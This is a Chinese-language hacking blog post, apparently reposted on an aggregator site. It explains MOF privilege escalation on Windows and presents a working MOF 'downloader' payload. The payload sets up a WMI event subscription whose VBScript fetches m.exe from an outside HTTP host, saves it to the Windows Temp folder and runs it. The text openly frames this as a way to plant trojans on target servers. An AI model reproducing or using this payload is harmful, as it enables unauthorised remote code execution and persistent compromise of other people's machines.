[原创]MOF提权下载者代码

Posted k8gege

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[原创]MOF提权下载者代码相关的知识,希望对你有一定的参考价值。

0x001
网上的mof提权 调用的是js执行添加用户 而且有个缺陷 还不能一步到位...
目标3389也连不上...也不知道上面安装了什么软件...毛然添加用户也不好
比如有个类似狗之类的拦截添加用户 这样不是直接就被干了
目标环境不确定,也不能轻易给人种马(要不然怎么死都不知道)

提权脚本存在几个问题
1 无回显 这样我们根本不知道是否执行成功(3389根本连不了,你怎么判断用户成功了 靠运气靠猜吗?)
2 不支持多语句 即使有回显 想要获取目标更多信息,难道要上传十几个mof脚本过去吗?

0x002  解决mof执行命令无回显的问题
实验发现在mof里用js或vbs来执行命令 都没法echo 
比如执行net user > c:\xx.txt 就是不成功(直接在js或vbs里所在doc命令都是正常的)
执行命令无法回显咋办呢? 所以只能通过脚本wirtefile了..

0x003 解决mof提权无法多命令的问题
和上面一样把原来的js改成vbs...就可以执行多语句了  不过echo同样没法执行
需要回显 就要操作fso来输出执行命令后的结果... 比较简单大家自己实现

0x004 为什么要用下载者?
因为GET的注入点长度有限制...如果我们需要传比较大的文件过去...
是没办法的...至于post内容的长度 也是由管理员配置决定的...
如果人家的网站不需要上传什么大文件 配置允许长度几百 你搞个蛋啊

0x005 mof提权下载者
下载者:顾名思义就是把xx下载过去并运行(科普下:发现很多人玩黑N年还不明白)
实现原理:1 先把xx下载过去  2 运行xx
下载的方法N多种...通过http下载 ftp下载等网络协议
文中使用 http方式 (抛砖引玉) 大家一定要学会举一反三


#pragma namespace("\\.\root\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa "Win32_LocalTime" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "VBScript";
ScriptText ="Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://192.168.85.130/m.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "C:\WINDOWS\Temp\ftp.exe",2 Shell.Run ("C:\WINDOWS\Temp\ftp.exe")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};























































以上是关于[原创]MOF提权下载者代码的主要内容,如果未能解决你的问题,请参考以下文章

MySQL_MOF提权

mysql 提权总结

mysql提权总结

mysql常用的提权方法

关于mysql mof提权研究

mysql提权利用工具